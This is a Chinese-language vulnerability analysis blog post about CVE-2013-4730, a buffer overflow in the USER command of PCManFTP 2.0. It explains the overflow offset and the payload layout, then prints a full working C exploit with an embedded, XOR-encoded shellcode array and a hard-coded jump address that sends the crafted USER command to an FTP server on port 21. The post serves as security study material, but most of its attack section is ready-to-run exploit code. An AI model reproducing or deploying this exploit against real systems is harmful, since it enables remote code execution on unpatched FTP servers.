PCManFTP v2.0(CVE-2013-4730)漏洞分析報告

軟件名稱:PCManFTP

軟件版本:2.0

漏洞模塊:PCManFTPD2.exe

模塊版本:2.0.0.0

編譯日期:2005-01-01

操作系統:WinXP/2003/7/8.1/10

漏洞編號:CVE-2013-4730

危害等級:中危      

漏洞類型:緩衝區溢出 or 信息泄露

威脅類型:遠程 or 本地


1. 軟件簡介
PCMan's FTP Server是洪任諭程序員所研發的一套FTP服務器軟件。該軟件具有體積小、功能簡單等特點。
軟件界面:



2. 漏洞成因
PCMan's FTP Server 2.0.0版本中存在緩衝區溢出漏洞。此漏洞源於處理精心構造的USER, PASS, STOR, ABOR, CWD命令時,沒有正確驗證用戶提供的輸入,這可使遠程攻擊者造成緩衝區溢出,導致拒絕服務或執行任意代碼。


3. 利用過程
利用FTP傳輸協議,發送USER命令後面跟上一大串字符串,並定位具體溢出點,將溢出點替換爲shellcode以達到利用.
附:訪問控制指令
用戶名(USER):它的參數是用來指定用戶的Telnet字串。它用來進行用戶鑑定,服務器對賦予文件的系統訪問權限。該指令通常是建立數據連接後(有些服務器需要)用戶發出的第一個指令。有些服務器還需要通過password或account指令獲取額外的鑑定信息。服務器允許用戶爲了改變訪問控制和/或帳戶信息而發送新的USER指令。這會導致已經提供的用戶,口令,帳戶信息被清空,重新開始登錄。所有的傳輸參數均不改變,任何正在執行的傳輸進程在舊的訪問控制參數下完成。
口令(PASS):它的參數是用來指定用戶口令的Telnet字符串。 此指令緊跟用戶名指令,在某些站點它是完成訪問控制不可缺少的一步。因爲口令信息非常敏感,所以它的表示通常是被“掩蓋”起來或什麼也不顯示。服務器沒有十分安全的方法達到這樣的顯示效果,因此,user-FTP進程有責任去隱藏敏感的口令信息。

4. PoC(可行性驗證)
首先用windbg的mona2工具生成0x1000大小的有規律數據” Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7……”,然後編寫FTP登陸程序給軟件傳送這段數據,得到溢出偏移值是2010。
構建一個的字符串:"USER "(5字節)+垃圾指令(2005字節)+ 跳板指令(4字節)+ shellcode代碼(不含0x00,0x0A,0x0D,0x20特殊ASCII)+ "\r\n"(2字節)。
demo源代碼:

#include "stdafx.h"
#include <winsock2.h>   
#pragma comment(lib,"Ws2_32.lib")

char bshellcode[] = {
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x33, 0xC0, 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, 0xC3,
	0x58, 0x8D, 0x70, 0x1B, 0x33, 0xC9, 0x66, 0xB9,
	0x17, 0x01, 0x8A, 0x04, 0x0E, 0x34, 0x0B, 0x88,
	0x04, 0x0E, 0xE2, 0xF6, 0x80, 0x34, 0x0E, 0x0B,
	0xFF, 0xE6, 0x88, 0xE7, 0x7B, 0xE0, 0x47, 0x43,
	0x6E, 0x67, 0x67, 0x64, 0x2B, 0x3A, 0x3E, 0x5B,
	0x49, 0x0B, 0x4E, 0x73, 0x62, 0x7F, 0x5B, 0x79,
	0x64, 0x68, 0x6E, 0x78, 0x78, 0x0B, 0x46, 0x6E,
	0x78, 0x78, 0x6A, 0x6C, 0x6E, 0x49, 0x64, 0x73,
	0x4A, 0x0B, 0x47, 0x64, 0x6A, 0x6F, 0x47, 0x62,
	0x69, 0x79, 0x6A, 0x79, 0x72, 0x4E, 0x73, 0x4A,
	0x0B, 0x7E, 0x78, 0x6E, 0x79, 0x38, 0x39, 0x25,
	0x6F, 0x67, 0x67, 0x0B, 0x4C, 0x6E, 0x7F, 0x5B,
	0x79, 0x64, 0x68, 0x4A, 0x6F, 0x6F, 0x79, 0x6E,
	0x78, 0x78, 0x0B, 0xE3, 0x0B, 0x0B, 0x0B, 0x0B,
	0x54, 0x5C, 0x6F, 0x80, 0x3E, 0x3B, 0x0B, 0x0B,
	0x0B, 0x80, 0x7D, 0x07, 0x80, 0x7D, 0x17, 0x80,
	0x3D, 0x80, 0x55, 0x03, 0x80, 0x78, 0x37, 0x08,
	0xF8, 0x80, 0x7D, 0x73, 0x08, 0xF8, 0x80, 0x5D,
	0x13, 0x80, 0x4D, 0x17, 0x08, 0xC8, 0x80, 0x75,
	0x2F, 0x08, 0xF0, 0x5C, 0x80, 0x7D, 0x2B, 0x08,
	0xF8, 0x38, 0xC2, 0x80, 0x37, 0x85, 0x08, 0xF0,
	0xE0, 0x0C, 0x30, 0xC1, 0x4A, 0x7E, 0xFF, 0xE0,
	0x12, 0x5A, 0x5D, 0x80, 0xFC, 0x80, 0x77, 0x2F,
	0x07, 0x88, 0xE4, 0x1F, 0xB2, 0x04, 0x0B, 0x0B,
	0x0B, 0xF7, 0xF8, 0xAD, 0x55, 0x52, 0x7F, 0x08,
	0xE0, 0xEB, 0xC8, 0x54, 0x86, 0x07, 0x44, 0x04,
	0xBC, 0x02, 0x80, 0x0F, 0x83, 0x08, 0xC8, 0x5B,
	0x58, 0x80, 0x77, 0x2F, 0x03, 0x88, 0xE4, 0x25,
	0x5C, 0x58, 0xF4, 0xDB, 0x80, 0x77, 0x2F, 0x03,
	0x88, 0xE4, 0x14, 0x61, 0x0B, 0x61, 0x0B, 0x5C,
	0xF4, 0xDB, 0x80, 0x77, 0x2F, 0x03, 0x88, 0xE4,
	0x31, 0x80, 0x7F, 0x2F, 0x0F, 0x5C, 0x5B, 0xF4,
	0xDD, 0x5B, 0x80, 0x77, 0x2F, 0x07, 0x88, 0xE4,
	0x4D, 0x80, 0x7F, 0x2F, 0x03, 0x80, 0x57, 0x2F,
	0x0F, 0x5C, 0x58, 0xF4, 0xDD, 0x5B, 0x80, 0x77,
	0x2F, 0x1B, 0x86, 0x4C, 0xA4, 0x80, 0x57, 0x2F,
	0x0F, 0x61, 0x0B, 0x5B, 0x5B, 0x61, 0x0B, 0xF4,
	0xD8, 0x80, 0x07, 0x2F, 0x61, 0x0B, 0xF4, 0xDA,
	0x0B
};
int _tmain(int argc, _TCHAR* argv[])
{
	// 1. 初始化Winsock服務
	WSADATA stWSA;
	WSAStartup(0x0202, &stWSA);
	// 2. 創建一個原始套接字
	SOCKET stListen = INVALID_SOCKET;
	stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
	// 3. 在任意地址(INADDR_ANY)上綁定一個端口21
	SOCKADDR_IN stService;
	stService.sin_addr.s_addr = inet_addr("127.0.0.1");
	stService.sin_port = htons(21);
	stService.sin_family = AF_INET;
	connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
	// 4. 接受歡迎語
	char szRecv[0x100] = { 0 };
	char *pCommand = "USER anonymous";
	recv(stListen, szRecv, sizeof(szRecv), 0);
	char cExpolit[5000] = { 0 };
	char cFill[5000] = { 0 };
	memset(cFill, 'A', 2005); 
	sprintf_s(cExpolit, 5000, "%s%s%s%s%s", "USER ",cFill, "\x1D\x11\xBF\x76", bshellcode, "\r\n");  //76BF111D這個是跳板地址,按照具體機型更改
	// 5. 發送登陸請求
	send(stListen, cExpolit, strlen(cExpolit), 0);
	recv(stListen, szRecv, sizeof(szRecv), 0);
	// 6. 關閉相關句柄並釋放相關資源
	closesocket(stListen);
	WSACleanup();
	return 0;
}

5. 結語
緩衝區溢出一般是沒有進行邊界檢查,或使用了不安全的函數,避免這個情況能大大提高安全性。


原程序下載地址:

鏈接:http://pan.baidu.com/s/1i4ASr4p 密碼:xqe3

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章